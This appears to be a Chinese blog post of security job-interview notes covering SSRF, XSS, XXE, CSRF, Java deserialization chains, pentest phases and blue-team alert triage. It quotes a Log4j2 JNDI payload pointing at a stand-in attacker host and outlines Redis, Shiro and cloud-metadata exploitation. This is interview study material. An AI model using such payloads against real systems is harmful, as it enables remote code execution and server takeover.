面经

前言

Huamang学长推了个面试给我,告诉了一些经验之谈。这里从github上找了一些面试的问题,希望以此查漏补缺

常规漏洞以及漏洞原理

Redis未授权访问漏洞如何入侵利用?**

答:大概有三种方式:可以向靶机Crontab写入任务计划进行反弹shell、同样在确定web路径的情况下也可以写入webshell。最后是将攻击机的ssh公钥写入,然后就可以登入了


SSRF漏洞原理、利用方式及修复方案?Java和PHP的SSRF区别?***

答:ssrf漏洞是网站不对用户输入的url进行验证就直接发起访问请求导致的。

攻击者可以通过http协议、file协议、dict协议、gopher协议对网站进行攻击。

可以禁用这些危险协议,也可以做白名单。

php默认支持各种协议、java只默认http/https协议javassrf不太容易利用

宽字节注入漏洞原理、利用方式及修复方案?*

答:宽字节注入是利用GBK中对中文字的编码绕过网站对引号的转义

具体利用方式是在单引号前输入%df因为%df%5c是一个中文繁体字的编码

简述JSONP的业务意义,JSONP劫持利用方式及修复方案?如何设计落地一个CSRF Token?***

答:

什么是xxe

xxe就是xml外部实体注入,是由于未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。

什么是xss

XSS,即跨站脚本攻击,指用户将恶意JavaScript代码注入到网页当中,网页会执行这些恶意代码,从而形成漏洞。

反射型

恶意脚本并不存储在目标服务器上,而是源自当前的HTTP请求。服务器将请求中的恶意数据(如URL参数、表单提交)直接“反射”到响应页面中,并在用户浏览器中执行。

钓鱼,窃取cookie

存储型

恶意脚本被永久存储在目标服务器上(如数据库、文件系统)。当其他用户访问包含该数据的页面时,脚本会自动从服务器加载并执行。存储型XSS的危害最大,因为它能影响所有访问受影响页面的用户。

DOM型

整个攻击过程完全在客户端浏览器中发生,不经过服务器(或服务器仅提供静态页面,不参与恶意代码的生成)。漏洞源于前端JavaScript代码在操作**DOM(文档对象模型)**时,使用了用户可控的数据,并将这些数据以不安全的方式插入到页面中。

与反射类似

java反序列化利用方式

接下来我们重点看看你提到的这四个漏洞,它们各有各的“脾气”。

漏洞组件 核心触发点 利用方式关键步骤 关键特性/绕过点
Fastjson 反序列化时自动调用 setter/getter 1. 在JSON中指定 @type 为恶意类(如 JdbcRowSetImpl)。 2. 通过 setDataSourceName 设置恶意的JNDI地址。 3. 触发 setAutoCommit 等方法,执行JNDI Lookup,实现RCE 。 AutoType机制、黑名单的不断绕过
Log4j2 日志输出时解析 ${} 表达式 1. 在HTTP头(如User-Agent)、表单等任意位置,注入 ${jndi:ldap://attacker.com/evil}。 2. Log4j2解析该字符串,触发JNDI Lookup。 3. 从攻击者控制的LDAP服务器加载恶意类并执行 。 攻击面极广,几乎任何能输入的地方都可触发
Apache Shiro “记住我”功能的Cookie反序列化 Shiro-550: AES加密密钥硬编码,直接构造恶意Cookie 。 Shiro-721: 利用Padding Oracle漏洞,在不知道密钥的情况下,通过爆破构造有效Cookie 。 关键在于加密环节,先绕过解密,再触发反序列化
XStream XML数据反序列化 1. 发送特制的XML payload。 2. 利用黑名单未封死的类(如 sun.rmi.registry.RegistryImpl_Stub)发起RMI请求。 3. 结合 ysoserial 开启的JRMP监听器,返回恶意序列化数据,触发RCE 。 针对黑名单的绕过

渗透测试流程

1. 前期交互与范围界定 在测试开始前,测试团队与目标组织进行沟通,明确测试的目标、范围、规则和限制。例如,明确哪些IP段、域名或应用可以测试,哪些不允许;是否允许使用社会工程学或拒绝服务攻击等高风险手段;以及测试的时间窗口(如仅限工作时间)和应急联系人等。这个阶段会形成一份正式授权书,是测试的法律基础。

2. 情报收集 这是最关键的一步,收集的信息越多,攻击面就越大。手段包括:

  • 被动信息收集:在不直接与目标系统交互的情况下,通过搜索引擎(Google Hacking)、网络空间搜索引擎(如您之前提到的FOFA)、域名系统(DNS)记录(如 nslookupdig 命令)、公司官网、招聘信息、社交媒体等公开渠道获取信息。
  • 主动信息收集:直接与目标系统交互,例如使用 Nmap 进行端口扫描和服务识别,探测存活主机和开放的服务(如Web、数据库、邮件服务);使用目录扫描工具(如 DirbGobuster)发现隐藏的目录和文件。

3. 威胁建模与漏洞分析 基于收集到的信息,分析目标系统可能存在的安全弱点。这包括:

  • 识别漏洞:使用漏洞扫描器(如 NessusOpenVAS)进行自动化扫描,并结合人工知识判断。
  • 分析攻击面:找出最容易被利用的入口点,比如一个未打补丁的Web应用、一个弱口令的远程桌面,或一个暴露的数据库端口。
  • 评估漏洞可利用性:判断发现的漏洞是否能被实际利用,以及利用的难度和影响。

4. 漏洞利用 这个阶段是尝试真正地“入侵”系统,验证漏洞是否存在及其危害。测试人员会针对已确认的漏洞,尝试使用各种利用工具(如 Metasploit 框架)、编写自定义脚本、或组合多个低危漏洞来提升权限或获取敏感数据。

5. 后渗透测试 一旦成功进入系统,测试并未结束。这个阶段的目标是评估入侵所能造成的实际危害,例如:

  • 权限维持:尝试创建后门,看看是否能长期控制系统。
  • 权限提升:从一个普通用户权限提升到管理员或系统最高权限。
  • 横向移动:以内网被攻陷的主机为跳板,探测并尝试攻陷内网其他关键系统(如域控服务器、数据库)。
  • 数据窃取:模拟窃取敏感数据的过程,验证数据泄露风险。

6. 报告撰写 这是渗透测试的最终“产品”,一份高质量的报告应包括:

  • 摘要:对整体安全状况的定性评价,以及最严重风险的概述。
  • 详细发现:按风险等级列出每个漏洞,包括漏洞位置、详细描述、复现步骤(含截图)、潜在危害
  • 修复建议:针对每个漏洞提供具体、可操作的修复或缓解措施。
  • 原始数据:附录中包含使用的工具、扫描日志等原始记录。

7. 报告解读与修复复测 向技术团队和管理层解读报告内容,沟通漏洞细节和修复方案。开发或运维团队修复后,测试方会进行一次回归测试,验证漏洞是否已被成功修复,并更新报告状态。

实际

绿盟面试

作为护网蓝队,你如何进行监控和研判

护网期间,攻击者的手法是立体化的,你的监控也必须是立体的。我把监控对象分为五层,每一层都有明确的关注点:

层级 监控对象 核心关注点
网络层 流量、端口、会话、NetFlow 异常连接、扫描行为、DDoS、数据回传、隧道流量
终端层 EDR、进程、文件、登录、注册表 恶意进程、文件落地、权限提升、横向移动
应用层 WAF、API、登录、上传 Web攻击(SQLi、XSS、文件上传)、API滥用、撞库
日志层 系统日志、Web日志、数据库日志 异常操作、越权访问、慢查询、错误堆栈
情报层 威胁情报平台、IOC库 恶意IP/域名、已知C2、漏洞POC
  1. 研判五步法(可复制的 SOP)

我把研判过程标准化为5个步骤,每一步都有明确的产出:

步骤1:告警接收与预处理

  • 监控岗实时推送告警到研判群或工单系统
  • 去重、聚合相同攻击源的同类告警
  • 按优先级排序,先处理高危,低危批量处理

步骤2:白名单过滤

  • 来源IP是否在白名单(运维IP、第三方服务、办公网出口)
  • 请求路径是否正常业务路径
  • 操作时间是否在正常运维窗口
  • 命中白名单 → 标注误报,归档

步骤3:交叉验证(核心) 这是研判最关键的环节,用多个维度的证据相互印证:

告警来源 验证动作
WAF告警 查Web服务器访问日志 → 确认完整请求URL和Payload 查全流量回溯 → 确认攻击包是否到达服务器
EDR告警 查进程树 → 确认进程启动链 查文件系统 → 确认是否有恶意文件落地 查注册表/计划任务 → 确认是否有持久化
流量告警 查DNS日志 → 确认域名解析历史 查NetFlow → 确认通信时长、数据包大小 抓包分析 → 确认协议特征
登录告警 查源IP历史行为 → 是否首次出现 查登录后的操作 → 是否有异常命令执行

步骤4:攻击定级与定位

  • 定位攻击阶段:对照 ATT&CK 框架或杀伤链(Kill Chain),判断攻击当前处于哪个阶段:
    • 侦察阶段 → 扫描、信息收集
    • 投递阶段 → 钓鱼邮件、漏洞利用
    • 植入阶段 → WebShell、后门
    • C2阶段 → 外联控制端
    • 横向阶段 → 内网扫描、提权
    • 目标达成 → 数据外传、破坏
  • 定级:根据受影响资产的重要性、攻击阶段、数据泄露风险,给出最终定级

步骤5:输出结论

  • 误报 → 归档,更新白名单规则
  • 真实攻击 → 形成研判单:攻击IP、攻击类型、受影响资产、攻击时间、Payload、证据包、建议处置动作

你简历上说你熟悉市面常见的安全设备,你清楚如何安装?

了解过云上的ssrf吗

聊聊挖洞中的sql注入

简历上说你有渗透经验,是实战训练吗

可以多了解实战情况下sql注入、内网渗透的解决方案

安恒面试

ctf竞赛你的成果如何

csrf如何利用,可以做到什么?

CSRF的核心在于,攻击者利用网站对用户浏览器的信任,在用户不知情的情况下,以用户的名义执行操作。

  • 为什么会这样? 当你登录一个网站后,网站通常会通过Cookie来标识你的身份。而浏览器有一个“特点”:在向某网站发送任何请求时,都会自动附带上该网站的Cookie。如果攻击者诱骗你访问了他的恶意页面,这个页面里隐藏着向目标网站发起的请求(比如修改密码的链接或表单),那么你的浏览器就会带着你的有效Cookie,忠实地发送这个伪造请求。目标网站收到请求和有效的Cookie,就会误以为是你的合法操作并予以执行。
  • 攻击者能做什么? CSRF可以“指挥”受害者做很多事情,尤其是在权限较高的账户上,后果更严重。
    • 执行操作:在用户不知情的情况下,修改账户邮箱、密码,甚至是在购物网站上消费、在论坛上发帖。
    • 传播CSRF蠕虫:这是CSRF最可怕的利用方式之一。攻击者可以构造一个恶意页面,它不仅会执行一个操作(如发送私信),还会获取受害者的好友列表,然后自动给所有好友发送包含这个恶意页面的链接。一旦有人点击,攻击就会像蠕虫一样迅速传播。

CSRF漏洞的挖掘 1、最简单的方法就是抓取一个正常请求的数据包,如果没有Referer字段和token,那么极有可能存在CSRF漏洞。

2、如果有Referer字段,但是去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。

3、随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:

使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。

如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

文件包含原理

文件包含漏洞的核心,在于Web应用在动态包含文件时,对用户输入的文件路径没有进行严格的过滤和校验。攻击者可以操控这个路径,让服务器去执行意料之外的操作。

ssrf如何利用

你知道哪些中间件漏洞、框架漏洞

除了cc链你还知道什么java链

小程序抓包有哪几种方式

护网经历

之前有实习过吗

西安铸剑信息技术3/6

做ctf培训,出题,大型靶场搭建,工控靶场搭建

说一下php反序列化,除了pop链还有什么利用方式

我看了你的博客,可以说一下无参数rce吗

我看你还有内网渗透的经验,可以说下当你内网渗透时遇到域环境你会怎么做

你说你有这个awdp的经验,说说当时是什么情况

上海8k 3/6

自我介绍

渗透挖洞经验

你有挖到过的洞是什么

src有挖过吗

聊聊sql注入

再说说ssrf,哪元数据这块有了解过吗,云上ssrf

云上站点如果遇到了ssrf的话,可以通过http访问元数据,通过元数据从ECS实例内部获取实例属性等信息,从而接管云服务器

再聊聊xss吧

你现在有研究什么东西吗,可以说说看

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计